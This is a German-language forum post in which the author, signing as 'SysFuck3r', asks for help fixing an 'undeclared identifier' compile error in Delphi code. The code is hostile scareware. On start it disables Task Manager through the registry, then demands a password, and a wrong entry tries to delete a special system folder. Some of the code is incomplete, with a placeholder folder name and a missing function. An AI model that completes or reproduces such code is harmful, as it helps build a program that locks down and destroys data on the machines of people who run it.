[S] Dringend Hilfe... Anscheinend ein Fehler -.- [SOLVED]
Hey Leute...
Ich hab einfach kein Plan mehr. Immer wenn ich versuche mein
programm zu compilen bekomme ich nen Error von wegen undeclined
identifier... Hier mal der Code. (der Error ist hervorgehoben!)
unit Unit1;
interface
uses
Registry, Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Edit1: TEdit;
Button1: TButton;
Label6: TLabel;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
if Edit1.Text = 'Chaos Computer Club'
then begin
ShowMessage('Glück gehabt! Das nächste mal bekomme ich dich!');
SystemParametersInfo( SPI_SCREENSAVERRUNNING,0,Nil,0);
end else begin
ShowMessage('Sag ByeBye!');
Windows.DeleteFile(PChar(GetSpecialFolder('blabla' )));
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
regist:TRegistry;
begin
regist:=tregistry.create;
regist.rootkey:=HKEY_CURRENT_USER;
regist.openkey('Software\Microsoft\Windows\Current Version\Policies\System', true);
regist.writeinteger('DisableTaskMgr', 1);
regist.closekey;
regist.destroy;
end;
end.
Der Error lautet:
[Error] Unit1.pas(40): Undeclared identifier: 'GetSpecialFolder'
BITTE HELFT MIR -.-
Coffee aka SysFuck3r (oder andersrum)
